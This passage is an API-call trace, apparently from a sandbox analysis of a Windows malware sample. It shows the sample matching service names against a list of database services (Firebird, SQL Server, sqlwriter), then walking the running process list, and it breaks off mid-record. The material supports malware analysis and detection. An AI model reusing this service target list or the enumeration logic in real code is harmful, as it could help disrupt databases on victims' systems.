[0137.143] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0137.143] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0137.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0137.143] lstrlenW (lpString="gpsvc") returned 5 [0137.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0137.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0137.143] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0137.143] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0137.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0137.143] lstrlenW (lpString="iphlpsvc") returned 8 [0137.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0137.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0137.143] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0137.143] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0137.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0137.143] lstrlenW (lpString="KeyIso") returned 6 [0137.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0137.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0137.143] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0137.143] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0137.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0137.143] lstrlenW (lpString="LanmanServer") returned 12 [0137.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0137.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0137.143] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0137.143] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0137.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0137.144] lstrlenW (lpString="LanmanWorkstation") returned 17 [0137.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0137.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0137.144] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0137.144] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0137.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0137.144] lstrlenW (lpString="lfsvc") returned 5 [0137.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0137.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0137.144] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0137.144] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0137.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0137.144] lstrlenW (lpString="lmhosts") returned 7 [0137.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0137.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0137.144] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0137.144] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0137.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0137.144] lstrlenW (lpString="LSM") returned 3 [0137.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0137.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0137.144] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0137.144] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0137.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0137.144] lstrlenW (lpString="MapsBroker") returned 10 [0137.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0137.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0137.144] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0137.144] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0137.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0137.145] lstrlenW (lpString="MpsSvc") returned 6 [0137.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0137.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0137.145] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0137.145] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0137.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0137.145] lstrlenW (lpString="NcbService") returned 10 [0137.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0137.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0137.145] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0137.145] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0137.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0137.145] lstrlenW (lpString="netprofm") returned 8 [0137.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0137.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0137.145] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0137.145] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0137.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0137.145] lstrlenW (lpString="NlaSvc") returned 6 [0137.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0137.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0137.145] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0137.145] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0137.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0137.145] lstrlenW (lpString="nsi") returned 3 [0137.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0137.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0137.145] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0137.145] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0137.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0137.146] lstrlenW (lpString="PcaSvc") returned 6 [0137.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0137.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0137.146] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0137.146] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0137.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0137.146] lstrlenW (lpString="PlugPlay") returned 8 [0137.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0137.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0137.146] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0137.146] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0137.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0137.146] lstrlenW (lpString="Power") returned 5 [0137.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0137.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0137.146] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0137.146] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0137.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0137.146] lstrlenW (lpString="ProfSvc") returned 7 [0137.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0137.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0137.146] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0137.146] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0137.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0137.146] lstrlenW (lpString="RpcEptMapper") returned 12 [0137.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0137.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0137.146] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0137.147] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0137.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0137.147] lstrlenW (lpString="RpcSs") returned 5 [0137.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0137.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0137.147] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0137.147] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0137.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0137.147] lstrlenW (lpString="SamSs") returned 5 [0137.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0137.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0137.147] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0137.147] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0137.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0137.147] lstrlenW (lpString="Schedule") returned 8 [0137.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0137.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0137.147] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0137.147] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0137.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0137.147] lstrlenW (lpString="SecurityHealthService") returned 21 [0137.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0137.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0137.147] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0137.147] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0137.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0137.147] lstrlenW (lpString="SENS") returned 4 [0137.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0137.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0137.147] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0137.148] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0137.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0137.148] lstrlenW (lpString="ShellHWDetection") returned 16 [0137.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0137.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0137.148] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0137.148] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0137.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0137.148] lstrlenW (lpString="Spooler") returned 7 [0137.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0137.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0137.148] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0137.148] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0137.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0137.148] lstrlenW (lpString="SSDPSRV") returned 7 [0137.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0137.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0137.148] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0137.148] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0137.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0137.148] lstrlenW (lpString="StateRepository") returned 15 [0137.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0137.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0137.148] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0137.148] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0137.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0137.148] lstrlenW (lpString="SysMain") returned 7 [0137.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0137.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0137.149] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0137.149] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0137.149] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x69cb68 | out: hHeap=0x5a0000) returned 1 [0137.149] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1084 [0137.155] Process32FirstW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0137.305] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0137.306] lstrlenW (lpString="System") returned 6 [0137.306] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0137.307] lstrlenW (lpString="smss.exe") returned 8 [0137.307] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0137.308] lstrlenW (lpString="csrss.exe") returned 9 [0137.308] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0137.308] lstrlenW (lpString="wininit.exe") returned 11 [0137.308] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0137.309] lstrlenW (lpString="csrss.exe") returned 9 [0137.309] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0137.310] lstrlenW (lpString="winlogon.exe") returned 12 [0137.310] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0137.311] lstrlenW (lpString="services.exe") returned 12 [0137.311] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0137.312] lstrlenW (lpString="lsass.exe") returned 9 [0137.312] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.313] lstrlenW (lpString="svchost.exe") returned 11 [0137.313] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0137.314] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0137.314] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0137.315] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0137.315] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.318] lstrlenW (lpString="svchost.exe") returned 11 [0137.318] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0137.319] lstrlenW (lpString="dwm.exe") returned 7 [0137.319] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.320] lstrlenW (lpString="svchost.exe") returned 11 [0137.320] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.321] lstrlenW (lpString="svchost.exe") returned 11 [0137.321] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.346] lstrlenW (lpString="svchost.exe") returned 11 [0137.346] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.347] lstrlenW (lpString="svchost.exe") returned 11 [0137.347] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.347] lstrlenW (lpString="svchost.exe") returned 11 [0137.347] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.348] lstrlenW (lpString="svchost.exe") returned 11 [0137.348] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.349] lstrlenW (lpString="svchost.exe") returned 11 [0137.349] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.350] lstrlenW (lpString="svchost.exe") returned 11 [0137.350] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.350] lstrlenW (lpString="svchost.exe") returned 11 [0137.350] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0137.351] lstrlenW (lpString="spoolsv.exe") returned 11 [0137.351] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.352] lstrlenW (lpString="svchost.exe") returned 11 [0137.352] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.352] lstrlenW (lpString="svchost.exe") returned 11 [0137.352] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0137.353] lstrlenW (lpString="audiodg.exe") returned 11 [0137.353] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0137.354] lstrlenW (lpString="sihost.exe") returned 10 [0137.354] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.354] lstrlenW (lpString="svchost.exe") returned 11 [0137.354] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0137.355] lstrlenW (lpString="taskhostw.exe") returned 13 [0137.355] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0137.356] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0137.356] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0137.357] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0137.357] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0137.357] lstrlenW (lpString="explorer.exe") returned 12 [0137.357] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, 